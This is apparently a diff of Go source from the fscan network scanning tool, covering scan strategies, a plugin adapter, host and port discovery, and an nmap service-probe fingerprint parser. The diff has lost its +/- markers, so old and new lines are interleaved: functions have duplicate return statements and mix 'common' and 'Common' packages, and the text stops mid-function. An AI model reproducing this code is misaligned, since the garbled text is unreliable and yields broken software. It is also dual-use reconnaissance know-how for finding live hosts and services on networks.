func NewLocalScanStrategy() *LocalScanStrategy {
return &LocalScanStrategy{
BaseScanStrategy: NewBaseScanStrategy("本地扫描", FilterLocal),
}
return &LocalScanStrategy{}
}
// Name 返回策略名称
func (s *LocalScanStrategy) Name() string {
return i18n.GetText("scan_strategy_local_name")
return "本地扫描"
}
// Description 返回策略描述
func (s *LocalScanStrategy) Description() string {
return i18n.GetText("scan_strategy_local_desc")
return "收集本地系统信息"
}
// Execute 执行本地扫描策略
func (s *LocalScanStrategy) Execute(info common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
// 输出扫描开始信息
s.LogScanStart()
func (s *LocalScanStrategy) Execute(info Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
Common.LogBase("执行本地信息收集")
// 验证插件配置
if err := s.ValidateConfiguration(); err != nil {
common.LogError(err.Error())
if err := validateScanPlugins(); err != nil {
Common.LogError(err.Error())
return
}
@ -50,7 +46,67 @@ func (s *LocalScanStrategy) Execute(info common.HostInfo, ch *chan struct{}, wg
}
// PrepareTargets 准备本地扫描目标
func (s *LocalScanStrategy) PrepareTargets(info common.HostInfo) []common.HostInfo {
func (s *LocalScanStrategy) PrepareTargets(info Common.HostInfo) []Common.HostInfo {
// 本地扫描只使用传入的目标信息,不做额外处理
return []common.HostInfo{info}
return []Common.HostInfo{info}
}
// GetPlugins 获取本地扫描插件列表
func (s *LocalScanStrategy) GetPlugins() ([]string, bool) {
// 如果指定了特定插件且不是"all"
if Common.ScanMode != "" && Common.ScanMode != "all" {
requestedPlugins := parsePluginList(Common.ScanMode)
if len(requestedPlugins) == 0 {
requestedPlugins = []string{Common.ScanMode}
}
// 验证插件是否存在不做Local类型过滤
var validPlugins []string
for _, name := range requestedPlugins {
if _, exists := Common.PluginManager[name]; exists {
validPlugins = append(validPlugins, name)
}
}
return validPlugins, true
}
// 未指定或使用"all"获取所有插件由IsPluginApplicable做类型过滤
return GetAllPlugins(), false
}
// LogPluginInfo 输出本地扫描插件信息
func (s *LocalScanStrategy) LogPluginInfo() {
allPlugins, isCustomMode := s.GetPlugins()
// 如果是自定义模式,直接显示用户指定的插件
if isCustomMode {
Common.LogBase(fmt.Sprintf("本地模式: 使用指定插件: %s", strings.Join(allPlugins, ", ")))
return
}
// 在自动模式下只显示Local类型的插件
var applicablePlugins []string
for _, pluginName := range allPlugins {
plugin, exists := Common.PluginManager[pluginName]
if exists && plugin.HasType(Common.PluginTypeLocal) {
applicablePlugins = append(applicablePlugins, pluginName)
}
}
if len(applicablePlugins) > 0 {
Common.LogBase(fmt.Sprintf("本地模式: 使用本地插件: %s", strings.Join(applicablePlugins, ", ")))
} else {
Common.LogBase("本地模式: 未找到可用的本地插件")
}
}
// IsPluginApplicable 判断插件是否适用于本地扫描
func (s *LocalScanStrategy) IsPluginApplicable(plugin Common.ScanPlugin, targetPort int, isCustomMode bool) bool {
// 自定义模式下运行所有明确指定的插件
if isCustomMode {
return true
}
// 非自定义模式下只运行Local类型插件
return plugin.HasType(Common.PluginTypeLocal)
}

View File

@ -1,140 +0,0 @@
package core
import (
"context"
"fmt"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/plugins/base"
)
// PluginAdapter 插件适配器
// 提供从新插件系统到旧扫描接口的适配
type PluginAdapter struct {
registry *base.PluginRegistry
}
// NewPluginAdapter 创建插件适配器
func NewPluginAdapter() *PluginAdapter {
return &PluginAdapter{
registry: base.GlobalPluginRegistry,
}
}
// 全局插件适配器实例
var GlobalPluginAdapter = NewPluginAdapter()
// GetAllPluginNames 获取所有插件名称
func (pa *PluginAdapter) GetAllPluginNames() []string {
return pa.registry.GetAll()
}
// PluginExists 检查插件是否存在
func (pa *PluginAdapter) PluginExists(name string) bool {
metadata := pa.registry.GetMetadata(name)
return metadata != nil
}
// GetPluginPorts 获取插件支持的端口
func (pa *PluginAdapter) GetPluginPorts(name string) []int {
metadata := pa.registry.GetMetadata(name)
if metadata != nil {
return metadata.Ports
}
return []int{}
}
// GetPluginsByPort 根据端口获取支持的插件
func (pa *PluginAdapter) GetPluginsByPort(port int) []string {
var plugins []string
for _, name := range pa.registry.GetAll() {
metadata := pa.registry.GetMetadata(name)
if metadata != nil {
for _, p := range metadata.Ports {
if p == port {
plugins = append(plugins, name)
break
}
}
}
}
return plugins
}
// GetPluginsByType 根据类型获取插件
func (pa *PluginAdapter) GetPluginsByType(pluginType string) []string {
var plugins []string
for _, name := range pa.registry.GetAll() {
metadata := pa.registry.GetMetadata(name)
if metadata != nil {
if metadata.Category == pluginType {
plugins = append(plugins, name)
}
}
}
return plugins
}
// ScanWithPlugin 使用插件进行扫描
func (pa *PluginAdapter) ScanWithPlugin(pluginName string, info *common.HostInfo) error {
common.LogDebug(fmt.Sprintf("使用新插件架构扫描: %s", pluginName))
// 创建插件实例
plugin, err := pa.registry.Create(pluginName)
if err != nil {
return fmt.Errorf("创建插件 %s 失败: %v", pluginName, err)
}
// 执行扫描
result, err := plugin.Scan(context.Background(), info)
if err != nil {
return fmt.Errorf("插件 %s 扫描失败: %v", pluginName, err)
}
// 处理扫描结果
if result == nil {
common.LogDebug(fmt.Sprintf("插件 %s 返回了空结果", pluginName))
} else if result.Success {
common.LogDebug(fmt.Sprintf("插件 %s 扫描成功", pluginName))
// TODO: 输出扫描结果
} else {
common.LogDebug(fmt.Sprintf("插件 %s 扫描失败: %v", pluginName, result.Error))
}
return nil
}
// FilterPluginsByType 按类型过滤插件名称
func FilterPluginsByType(pluginType string) func(name string) bool {
return func(name string) bool {
metadata := GlobalPluginAdapter.registry.GetMetadata(name)
if metadata == nil {
return false
}
switch pluginType {
case common.PluginTypeService:
return metadata.Category == "service"
case common.PluginTypeWeb:
return metadata.Category == "web"
case common.PluginTypeLocal:
return metadata.Category == "local"
default:
return true
}
}
}
// GetServicePlugins 获取所有服务插件
func GetServicePlugins() []string {
return GlobalPluginAdapter.GetPluginsByType("service")
}
// GetWebPlugins 获取所有Web插件
func GetWebPlugins() []string {
return GlobalPluginAdapter.GetPluginsByType("web")
}
// GetLocalPlugins 获取所有本地插件
func GetLocalPlugins() []string {
return GlobalPluginAdapter.GetPluginsByType("local")
}

View File

@ -1,8 +1,8 @@
package core
package Core
import (
"fmt"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/Common"
"strings"
)
@ -32,20 +32,20 @@ func parsePluginList(pluginStr string) []string {
// 验证扫描插件的有效性
func validateScanPlugins() error {
// 如果未指定扫描模式或使用All模式则无需验证
if common.ScanMode == "" || common.ScanMode == "all" {
if Common.ScanMode == "" || Common.ScanMode == "all" {
return nil
}
// 解析插件列表
plugins := parsePluginList(common.ScanMode)
plugins := parsePluginList(Common.ScanMode)
if len(plugins) == 0 {
plugins = []string{common.ScanMode}
plugins = []string{Common.ScanMode}
}
// 验证每个插件是否有效(使用新插件系统)
// 验证每个插件是否有效
var invalidPlugins []string
for _, plugin := range plugins {
if !GlobalPluginAdapter.PluginExists(plugin) {
if _, exists := Common.PluginManager[plugin]; !exists {
invalidPlugins = append(invalidPlugins, plugin)
}
}

View File

@ -1,132 +0,0 @@
package core
import (
"fmt"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/common/i18n"
"github.com/shadow1ng/fscan/common/parsers"
"strings"
)
/*
PortDiscoveryService.go - 端口发现服务
负责主机存活检测端口扫描等端口发现相关功能
从ServiceScanner中分离出来提高代码可维护性
*/
// PortDiscoveryService 端口发现服务
type PortDiscoveryService struct{}
// NewPortDiscoveryService 创建端口发现服务
func NewPortDiscoveryService() *PortDiscoveryService {
return &PortDiscoveryService{}
}
// DiscoverTargets 发现目标主机和端口
func (p *PortDiscoveryService) DiscoverTargets(hostInput string, baseInfo common.HostInfo) ([]common.HostInfo, error) {
// 解析目标主机
hosts, err := parsers.ParseIP(hostInput, common.HostsFile, common.ExcludeHosts)
if err != nil {
return nil, fmt.Errorf(i18n.GetText("parse_error_target_failed"), err)
}
var targetInfos []common.HostInfo
// 主机存活性检测和端口扫描
if len(hosts) > 0 || len(common.HostPort) > 0 {
// 主机存活检测
if p.shouldPerformLivenessCheck(hosts) {
hosts = CheckLive(hosts, false)
common.LogBase(i18n.GetText("scan_alive_hosts_count", len(hosts)))
}
// 端口扫描
alivePorts := p.discoverAlivePorts(hosts)
if len(alivePorts) > 0 {
targetInfos = p.convertToTargetInfos(alivePorts, baseInfo)
}
}
return targetInfos, nil
}
// shouldPerformLivenessCheck 判断是否需要执行存活性检测
func (p *PortDiscoveryService) shouldPerformLivenessCheck(hosts []string) bool {
return common.DisablePing == false && len(hosts) > 1
}
// discoverAlivePorts 发现存活的端口
func (p *PortDiscoveryService) discoverAlivePorts(hosts []string) []string {
var alivePorts []string
// 根据扫描模式选择端口扫描方式
if len(hosts) > 0 {
alivePorts = EnhancedPortScan(hosts, common.Ports, common.Timeout)
common.LogBase(i18n.GetText("scan_alive_ports_count", len(alivePorts)))
}
// UDP端口特殊处理当前仅支持SNMP的161端口
udpPorts := p.handleUDPPorts(hosts)
if len(udpPorts) > 0 {
alivePorts = append(alivePorts, udpPorts...)
common.LogBase(i18n.GetText("scan_alive_ports_count", len(alivePorts)))
}
// 合并额外指定的端口
if len(common.HostPort) > 0 {
alivePorts = append(alivePorts, common.HostPort...)
alivePorts = common.RemoveDuplicate(alivePorts)
common.HostPort = nil
common.LogBase(i18n.GetText("scan_alive_ports_count", len(alivePorts)))
}
return alivePorts
}
// convertToTargetInfos 将端口列表转换为目标信息
func (p *PortDiscoveryService) convertToTargetInfos(ports []string, baseInfo common.HostInfo) []common.HostInfo {
var infos []common.HostInfo
for _, targetIP := range ports {
hostParts := strings.Split(targetIP, ":")
if len(hostParts) != 2 {
common.LogError(i18n.GetText("parse_error_invalid_target_format", targetIP))
continue
}
info := baseInfo
info.Host = hostParts[0]
info.Ports = hostParts[1]
infos = append(infos, info)
}
return infos
}
// handleUDPPorts 处理UDP端口的特殊逻辑
func (p *PortDiscoveryService) handleUDPPorts(hosts []string) []string {
var udpPorts []string
// 检查是否包含SNMP端口161
portList := parsers.ParsePort(common.Ports)
hasPort161 := false
for _, port := range portList {
if port == 161 {
hasPort161 = true
break
}
}
// 如果端口列表包含161则为每个主机添加UDP 161端口
if hasPort161 {
for _, host := range hosts {
udpPorts = append(udpPorts, fmt.Sprintf("%s:161", host))
}
if len(udpPorts) > 0 {
common.LogBase(i18n.GetText("scan_snmp_udp_ports_added"))
}
}
return udpPorts
}

View File

@ -1,40 +1,877 @@
package core
// 重新导出portfinger包的类型和函数保持向后兼容性
package Core
import (
"github.com/shadow1ng/fscan/core/portfinger"
"github.com/shadow1ng/fscan/common"
_ "embed"
"encoding/hex"
"fmt"
"github.com/shadow1ng/fscan/Common"
"regexp"
"strconv"
"strings"
)
// 重新导出类型定义
type VScan = portfinger.VScan
type Probe = portfinger.Probe
type Match = portfinger.Match
type Directive = portfinger.Directive
type Extras = portfinger.Extras
type Target = portfinger.Target
//go:embed nmap-service-probes.txt
var ProbeString string
// 兼容原有的全局变量访问模式
var v *VScan
var null *Probe
var commonProbe *Probe
var v VScan // 改为VScan类型而不是指针
func init() {
common.LogDebug("初始化PortFinger兼容层")
// 初始化兼容性全局变量
v = portfinger.GetGlobalVScan()
null = portfinger.GetNullProbe()
commonProbe = portfinger.GetCommonProbe()
common.LogDebug("PortFinger兼容层初始化完成")
type VScan struct {
Exclude string
AllProbes []Probe
UdpProbes []Probe
Probes []Probe
ProbesMapKName map[string]Probe
}
// 重新导出编码函数
var DecodeData = portfinger.DecodeData
var DecodePattern = portfinger.DecodePattern
type Probe struct {
Name string // 探测器名称
Data string // 探测数据
Protocol string // 协议
Ports string // 端口范围
SSLPorts string // SSL端口范围
// 重新导出探测器字符串
var ProbeString = portfinger.ProbeString
TotalWaitMS int // 总等待时间
TCPWrappedMS int // TCP包装等待时间
Rarity int // 稀有度
Fallback string // 回退探测器名称
Matchs *[]Match // 匹配规则列表
}
type Match struct {
IsSoft bool // 是否为软匹配
Service string // 服务名称
Pattern string // 匹配模式
VersionInfo string // 版本信息格式
FoundItems []string // 找到的项目
PatternCompiled *regexp.Regexp // 编译后的正则表达式
}
type Directive struct {
DirectiveName string
Flag string
Delimiter string
DirectiveStr string
}
type Extras struct {
VendorProduct string
Version string
Info string
Hostname string
OperatingSystem string
DeviceType string
CPE string
}
func init() {
Common.LogDebug("开始初始化全局变量")
v = VScan{} // 直接初始化VScan结构体
v.Init()
// 获取并检查 NULL 探测器
if nullProbe, ok := v.ProbesMapKName["NULL"]; ok {
Common.LogDebug(fmt.Sprintf("成功获取NULL探测器Data长度: %d", len(nullProbe.Data)))
null = &nullProbe
} else {
Common.LogDebug("警告: 未找到NULL探测器")
}
// 获取并检查 GenericLines 探测器
if commonProbe, ok := v.ProbesMapKName["GenericLines"]; ok {
Common.LogDebug(fmt.Sprintf("成功获取GenericLines探测器Data长度: %d", len(commonProbe.Data)))
common = &commonProbe
} else {
Common.LogDebug("警告: 未找到GenericLines探测器")
}
Common.LogDebug("全局变量初始化完成")
}
// 解析指令语法,返回指令结构
func (p *Probe) getDirectiveSyntax(data string) (directive Directive) {
Common.LogDebug("开始解析指令语法,输入数据: " + data)
directive = Directive{}
// 查找第一个空格的位置
blankIndex := strings.Index(data, " ")
if blankIndex == -1 {
Common.LogDebug("未找到空格分隔符")
return directive
}
// 解析各个字段
directiveName := data[:blankIndex]
Flag := data[blankIndex+1 : blankIndex+2]
delimiter := data[blankIndex+2 : blankIndex+3]
directiveStr := data[blankIndex+3:]
directive.DirectiveName = directiveName
directive.Flag = Flag
directive.Delimiter = delimiter
directive.DirectiveStr = directiveStr
Common.LogDebug(fmt.Sprintf("指令解析结果: 名称=%s, 标志=%s, 分隔符=%s, 内容=%s",
directiveName, Flag, delimiter, directiveStr))
return directive
}
// 解析探测器信息
func (p *Probe) parseProbeInfo(probeStr string) {
Common.LogDebug("开始解析探测器信息,输入字符串: " + probeStr)
// 提取协议和其他信息
proto := probeStr[:4]
other := probeStr[4:]
// 验证协议类型
if !(proto == "TCP " || proto == "UDP ") {
errMsg := "探测器协议必须是 TCP 或 UDP"
Common.LogDebug("错误: " + errMsg)
panic(errMsg)
}
// 验证其他信息不为空
if len(other) == 0 {
errMsg := "nmap-service-probes - 探测器名称无效"
Common.LogDebug("错误: " + errMsg)
panic(errMsg)
}
// 解析指令
directive := p.getDirectiveSyntax(other)
// 设置探测器属性
p.Name = directive.DirectiveName
p.Data = strings.Split(directive.DirectiveStr, directive.Delimiter)[0]
p.Protocol = strings.ToLower(strings.TrimSpace(proto))
Common.LogDebug(fmt.Sprintf("探测器解析完成: 名称=%s, 数据=%s, 协议=%s",
p.Name, p.Data, p.Protocol))
}
// 从字符串解析探测器信息
func (p *Probe) fromString(data string) error {
Common.LogDebug("开始解析探测器字符串数据")
var err error
// 预处理数据
data = strings.TrimSpace(data)
lines := strings.Split(data, "\n")
if len(lines) == 0 {
return fmt.Errorf("输入数据为空")
}
probeStr := lines[0]
p.parseProbeInfo(probeStr)
// 解析匹配规则和其他配置
var matchs []Match
for _, line := range lines {
Common.LogDebug("处理行: " + line)
switch {
case strings.HasPrefix(line, "match "):
match, err := p.getMatch(line)
if err != nil {
Common.LogDebug("解析match失败: " + err.Error())
continue
}
matchs = append(matchs, match)
case strings.HasPrefix(line, "softmatch "):
softMatch, err := p.getSoftMatch(line)
if err != nil {
Common.LogDebug("解析softmatch失败: " + err.Error())
continue
}
matchs = append(matchs, softMatch)
case strings.HasPrefix(line, "ports "):
p.parsePorts(line)
case strings.HasPrefix(line, "sslports "):
p.parseSSLPorts(line)
case strings.HasPrefix(line, "totalwaitms "):
p.parseTotalWaitMS(line)
case strings.HasPrefix(line, "tcpwrappedms "):
p.parseTCPWrappedMS(line)
case strings.HasPrefix(line, "rarity "):
p.parseRarity(line)
case strings.HasPrefix(line, "fallback "):
p.parseFallback(line)
}
}
p.Matchs = &matchs
Common.LogDebug(fmt.Sprintf("解析完成,共有 %d 个匹配规则", len(matchs)))
return err
}
// 解析端口配置
func (p *Probe) parsePorts(data string) {
p.Ports = data[len("ports")+1:]
Common.LogDebug("解析端口: " + p.Ports)
}
// 解析SSL端口配置
func (p *Probe) parseSSLPorts(data string) {
p.SSLPorts = data[len("sslports")+1:]
Common.LogDebug("解析SSL端口: " + p.SSLPorts)
}
// 解析总等待时间
func (p *Probe) parseTotalWaitMS(data string) {
waitMS, err := strconv.Atoi(strings.TrimSpace(data[len("totalwaitms")+1:]))
if err != nil {
Common.LogDebug("解析总等待时间失败: " + err.Error())
return
}
p.TotalWaitMS = waitMS
Common.LogDebug(fmt.Sprintf("总等待时间: %d ms", waitMS))
}
// 解析TCP包装等待时间
func (p *Probe) parseTCPWrappedMS(data string) {
wrappedMS, err := strconv.Atoi(strings.TrimSpace(data[len("tcpwrappedms")+1:]))
if err != nil {
Common.LogDebug("解析TCP包装等待时间失败: " + err.Error())
return
}
p.TCPWrappedMS = wrappedMS
Common.LogDebug(fmt.Sprintf("TCP包装等待时间: %d ms", wrappedMS))
}
// 解析稀有度
func (p *Probe) parseRarity(data string) {
rarity, err := strconv.Atoi(strings.TrimSpace(data[len("rarity")+1:]))
if err != nil {
Common.LogDebug("解析稀有度失败: " + err.Error())
return
}
p.Rarity = rarity
Common.LogDebug(fmt.Sprintf("稀有度: %d", rarity))
}
// 解析回退配置
func (p *Probe) parseFallback(data string) {
p.Fallback = data[len("fallback")+1:]
Common.LogDebug("回退配置: " + p.Fallback)
}
// 判断是否为十六进制编码
func isHexCode(b []byte) bool {
matchRe := regexp.MustCompile(`\\x[0-9a-fA-F]{2}`)
return matchRe.Match(b)
}
// 判断是否为八进制编码
func isOctalCode(b []byte) bool {
matchRe := regexp.MustCompile(`\\[0-7]{1,3}`)
return matchRe.Match(b)
}
// 判断是否为结构化转义字符
func isStructCode(b []byte) bool {
matchRe := regexp.MustCompile(`\\[aftnrv]`)
return matchRe.Match(b)
}
// 判断是否为正则表达式特殊字符
func isReChar(n int64) bool {
reChars := `.*?+{}()^$|\`
for _, char := range reChars {
if n == int64(char) {
return true
}
}
return false
}
// 判断是否为其他转义序列
func isOtherEscapeCode(b []byte) bool {
matchRe := regexp.MustCompile(`\\[^\\]`)
return matchRe.Match(b)
}
// 从内容解析探测器规则
func (v *VScan) parseProbesFromContent(content string) {
Common.LogDebug("开始解析探测器规则文件内容")
var probes []Probe
var lines []string
// 过滤注释和空行
linesTemp := strings.Split(content, "\n")
for _, lineTemp := range linesTemp {
lineTemp = strings.TrimSpace(lineTemp)
if lineTemp == "" || strings.HasPrefix(lineTemp, "#") {
continue
}
lines = append(lines, lineTemp)
}
// 验证文件内容
if len(lines) == 0 {
errMsg := "读取nmap-service-probes文件失败: 内容为空"
Common.LogDebug("错误: " + errMsg)
panic(errMsg)
}
// 检查Exclude指令
excludeCount := 0
for _, line := range lines {
if strings.HasPrefix(line, "Exclude ") {
excludeCount++
}
if excludeCount > 1 {
errMsg := "nmap-service-probes文件中只允许有一个Exclude指令"
Common.LogDebug("错误: " + errMsg)
panic(errMsg)
}
}
// 验证第一行格式
firstLine := lines[0]
if !(strings.HasPrefix(firstLine, "Exclude ") || strings.HasPrefix(firstLine, "Probe ")) {
errMsg := "解析错误: 首行必须以\"Probe \"或\"Exclude \"开头"
Common.LogDebug("错误: " + errMsg)
panic(errMsg)
}
// 处理Exclude指令
if excludeCount == 1 {
v.Exclude = firstLine[len("Exclude")+1:]
lines = lines[1:]
Common.LogDebug("解析到Exclude规则: " + v.Exclude)
}
// 合并内容并分割探测器
content = "\n" + strings.Join(lines, "\n")
probeParts := strings.Split(content, "\nProbe")[1:]
// 解析每个探测器
for _, probePart := range probeParts {
probe := Probe{}
if err := probe.fromString(probePart); err != nil {
Common.LogDebug(fmt.Sprintf("解析探测器失败: %v", err))
continue
}
probes = append(probes, probe)
}
v.AllProbes = probes
Common.LogDebug(fmt.Sprintf("成功解析 %d 个探测器规则", len(probes)))
}
// 将探测器转换为名称映射
func (v *VScan) parseProbesToMapKName() {
Common.LogDebug("开始构建探测器名称映射")
v.ProbesMapKName = map[string]Probe{}
for _, probe := range v.AllProbes {
v.ProbesMapKName[probe.Name] = probe
Common.LogDebug("添加探测器映射: " + probe.Name)
}
}
// 设置使用的探测器
func (v *VScan) SetusedProbes() {
Common.LogDebug("开始设置要使用的探测器")
for _, probe := range v.AllProbes {
if strings.ToLower(probe.Protocol) == "tcp" {
if probe.Name == "SSLSessionReq" {
Common.LogDebug("跳过 SSLSessionReq 探测器")
continue
}
v.Probes = append(v.Probes, probe)
Common.LogDebug("添加TCP探测器: " + probe.Name)
// 特殊处理TLS会话请求
if probe.Name == "TLSSessionReq" {
sslProbe := v.ProbesMapKName["SSLSessionReq"]
v.Probes = append(v.Probes, sslProbe)
Common.LogDebug("为TLSSessionReq添加SSL探测器")
}
} else {
v.UdpProbes = append(v.UdpProbes, probe)
Common.LogDebug("添加UDP探测器: " + probe.Name)
}
}
Common.LogDebug(fmt.Sprintf("探测器设置完成TCP: %d个, UDP: %d个",
len(v.Probes), len(v.UdpProbes)))
}
// 解析match指令获取匹配规则
func (p *Probe) getMatch(data string) (match Match, err error) {
Common.LogDebug("开始解析match指令" + data)
match = Match{}
// 提取match文本并解析指令语法
matchText := data[len("match")+1:]
directive := p.getDirectiveSyntax(matchText)
// 分割文本获取pattern和版本信息
textSplited := strings.Split(directive.DirectiveStr, directive.Delimiter)
if len(textSplited) == 0 {
return match, fmt.Errorf("无效的match指令格式")
}
pattern := textSplited[0]
versionInfo := strings.Join(textSplited[1:], "")
// 解码并编译正则表达式
patternUnescaped, decodeErr := DecodePattern(pattern)
if decodeErr != nil {
Common.LogDebug("解码pattern失败: " + decodeErr.Error())
return match, decodeErr
}
patternUnescapedStr := string([]rune(string(patternUnescaped)))
patternCompiled, compileErr := regexp.Compile(patternUnescapedStr)
if compileErr != nil {
Common.LogDebug("编译正则表达式失败: " + compileErr.Error())
return match, compileErr
}
// 设置match对象属性
match.Service = directive.DirectiveName
match.Pattern = pattern
match.PatternCompiled = patternCompiled
match.VersionInfo = versionInfo
Common.LogDebug(fmt.Sprintf("解析match成功: 服务=%s, Pattern=%s",
match.Service, match.Pattern))
return match, nil
}
// 解析softmatch指令获取软匹配规则
func (p *Probe) getSoftMatch(data string) (softMatch Match, err error) {
Common.LogDebug("开始解析softmatch指令" + data)
softMatch = Match{IsSoft: true}
// 提取softmatch文本并解析指令语法
matchText := data[len("softmatch")+1:]
directive := p.getDirectiveSyntax(matchText)
// 分割文本获取pattern和版本信息
textSplited := strings.Split(directive.DirectiveStr, directive.Delimiter)
if len(textSplited) == 0 {
return softMatch, fmt.Errorf("无效的softmatch指令格式")
}
pattern := textSplited[0]
versionInfo := strings.Join(textSplited[1:], "")
// 解码并编译正则表达式
patternUnescaped, decodeErr := DecodePattern(pattern)
if decodeErr != nil {
Common.LogDebug("解码pattern失败: " + decodeErr.Error())
return softMatch, decodeErr
}
patternUnescapedStr := string([]rune(string(patternUnescaped)))
patternCompiled, compileErr := regexp.Compile(patternUnescapedStr)
if compileErr != nil {
Common.LogDebug("编译正则表达式失败: " + compileErr.Error())
return softMatch, compileErr
}
// 设置softMatch对象属性
softMatch.Service = directive.DirectiveName
softMatch.Pattern = pattern
softMatch.PatternCompiled = patternCompiled
softMatch.VersionInfo = versionInfo
Common.LogDebug(fmt.Sprintf("解析softmatch成功: 服务=%s, Pattern=%s",
softMatch.Service, softMatch.Pattern))
return softMatch, nil
}
// 解码模式字符串,处理转义序列
func DecodePattern(s string) ([]byte, error) {
Common.LogDebug("开始解码pattern: " + s)
sByteOrigin := []byte(s)
// 处理十六进制、八进制和结构化转义序列
matchRe := regexp.MustCompile(`\\(x[0-9a-fA-F]{2}|[0-7]{1,3}|[aftnrv])`)
sByteDec := matchRe.ReplaceAllFunc(sByteOrigin, func(match []byte) (v []byte) {
var replace []byte
// 处理十六进制转义
if isHexCode(match) {
hexNum := match[2:]
byteNum, _ := strconv.ParseInt(string(hexNum), 16, 32)
if isReChar(byteNum) {
replace = []byte{'\\', uint8(byteNum)}
} else {
replace = []byte{uint8(byteNum)}
}
}
// 处理结构化转义字符
if isStructCode(match) {
structCodeMap := map[int][]byte{
97: []byte{0x07}, // \a 响铃
102: []byte{0x0c}, // \f 换页
116: []byte{0x09}, // \t 制表符
110: []byte{0x0a}, // \n 换行
114: []byte{0x0d}, // \r 回车
118: []byte{0x0b}, // \v 垂直制表符
}
replace = structCodeMap[int(match[1])]
}
// 处理八进制转义
if isOctalCode(match) {
octalNum := match[2:]
byteNum, _ := strconv.ParseInt(string(octalNum), 8, 32)
replace = []byte{uint8(byteNum)}
}
return replace
})
// 处理其他转义序列
matchRe2 := regexp.MustCompile(`\\([^\\])`)
sByteDec2 := matchRe2.ReplaceAllFunc(sByteDec, func(match []byte) (v []byte) {
if isOtherEscapeCode(match) {
return match
}
return match
})
Common.LogDebug("pattern解码完成")
return sByteDec2, nil
}
// ProbesRarity 用于按稀有度排序的探测器切片
type ProbesRarity []Probe
// Len 返回切片长度,实现 sort.Interface 接口
func (ps ProbesRarity) Len() int {
return len(ps)
}
// Swap 交换切片中的两个元素,实现 sort.Interface 接口
func (ps ProbesRarity) Swap(i, j int) {
ps[i], ps[j] = ps[j], ps[i]
}
// Less 比较函数,按稀有度升序排序,实现 sort.Interface 接口
func (ps ProbesRarity) Less(i, j int) bool {
return ps[i].Rarity < ps[j].Rarity
}
// Target 定义目标结构体
type Target struct {
IP string // 目标IP地址
Port int // 目标端口
Protocol string // 协议类型
}
// ContainsPort 检查指定端口是否在探测器的端口范围内
func (p *Probe) ContainsPort(testPort int) bool {
Common.LogDebug(fmt.Sprintf("检查端口 %d 是否在探测器端口范围内: %s", testPort, p.Ports))
// 检查单个端口
ports := strings.Split(p.Ports, ",")
for _, port := range ports {
port = strings.TrimSpace(port)
cmpPort, err := strconv.Atoi(port)
if err == nil && testPort == cmpPort {
Common.LogDebug(fmt.Sprintf("端口 %d 匹配单个端口", testPort))
return true
}
}
// 检查端口范围
for _, port := range ports {
port = strings.TrimSpace(port)
if strings.Contains(port, "-") {
portRange := strings.Split(port, "-")
if len(portRange) != 2 {
Common.LogDebug("无效的端口范围格式: " + port)
continue
}
start, err1 := strconv.Atoi(strings.TrimSpace(portRange[0]))
end, err2 := strconv.Atoi(strings.TrimSpace(portRange[1]))
if err1 != nil || err2 != nil {
Common.LogDebug(fmt.Sprintf("解析端口范围失败: %s", port))
continue
}
if testPort >= start && testPort <= end {
Common.LogDebug(fmt.Sprintf("端口 %d 在范围 %d-%d 内", testPort, start, end))
return true
}
}
}
Common.LogDebug(fmt.Sprintf("端口 %d 不在探测器端口范围内", testPort))
return false
}
// MatchPattern 使用正则表达式匹配响应内容
func (m *Match) MatchPattern(response []byte) bool {
// 将响应转换为字符串并进行匹配
responseStr := string([]rune(string(response)))
foundItems := m.PatternCompiled.FindStringSubmatch(responseStr)
if len(foundItems) > 0 {
m.FoundItems = foundItems
Common.LogDebug(fmt.Sprintf("匹配成功,找到 %d 个匹配项", len(foundItems)))
return true
}
return false
}
// ParseVersionInfo 解析版本信息并返回额外信息结构
func (m *Match) ParseVersionInfo(response []byte) Extras {
Common.LogDebug("开始解析版本信息")
var extras = Extras{}
// 替换版本信息中的占位符
foundItems := m.FoundItems[1:] // 跳过第一个完整匹配项
versionInfo := m.VersionInfo
for index, value := range foundItems {
dollarName := "$" + strconv.Itoa(index+1)
versionInfo = strings.Replace(versionInfo, dollarName, value, -1)
}
Common.LogDebug("替换后的版本信息: " + versionInfo)
// 定义解析函数
parseField := func(field, pattern string) string {
patterns := []string{
pattern + `/([^/]*)/`, // 斜线分隔
pattern + `\|([^|]*)\|`, // 竖线分隔
}
for _, p := range patterns {
if strings.Contains(versionInfo, pattern) {
regex := regexp.MustCompile(p)
if matches := regex.FindStringSubmatch(versionInfo); len(matches) > 1 {
Common.LogDebug(fmt.Sprintf("解析到%s: %s", field, matches[1]))
return matches[1]
}
}
}
return ""
}
// 解析各个字段
extras.VendorProduct = parseField("厂商产品", " p")
extras.Version = parseField("版本", " v")
extras.Info = parseField("信息", " i")
extras.Hostname = parseField("主机名", " h")
extras.OperatingSystem = parseField("操作系统", " o")
extras.DeviceType = parseField("设备类型", " d")
// 特殊处理CPE
if strings.Contains(versionInfo, " cpe:/") || strings.Contains(versionInfo, " cpe:|") {
cpePatterns := []string{`cpe:/([^/]*)`, `cpe:\|([^|]*)`}
for _, pattern := range cpePatterns {
regex := regexp.MustCompile(pattern)
if cpeName := regex.FindStringSubmatch(versionInfo); len(cpeName) > 0 {
if len(cpeName) > 1 {
extras.CPE = cpeName[1]
} else {
extras.CPE = cpeName[0]
}
Common.LogDebug("解析到CPE: " + extras.CPE)
break
}
}
}
return extras
}
// ToMap 将 Extras 转换为 map[string]string
func (e *Extras) ToMap() map[string]string {
Common.LogDebug("开始转换Extras为Map")
result := make(map[string]string)
// 定义字段映射
fields := map[string]string{
"vendor_product": e.VendorProduct,
"version": e.Version,
"info": e.Info,
"hostname": e.Hostname,
"os": e.OperatingSystem,
"device_type": e.DeviceType,
"cpe": e.CPE,
}
// 添加非空字段到结果map
for key, value := range fields {
if value != "" {
result[key] = value
Common.LogDebug(fmt.Sprintf("添加字段 %s: %s", key, value))
}
}
Common.LogDebug(fmt.Sprintf("转换完成,共有 %d 个字段", len(result)))
return result
}
func DecodeData(s string) ([]byte, error) {
if len(s) == 0 {
Common.LogDebug("输入数据为空")
return nil, fmt.Errorf("empty input")
}
Common.LogDebug(fmt.Sprintf("开始解码数据,长度: %d, 内容: %q", len(s), s))
sByteOrigin := []byte(s)
// 处理十六进制、八进制和结构化转义序列
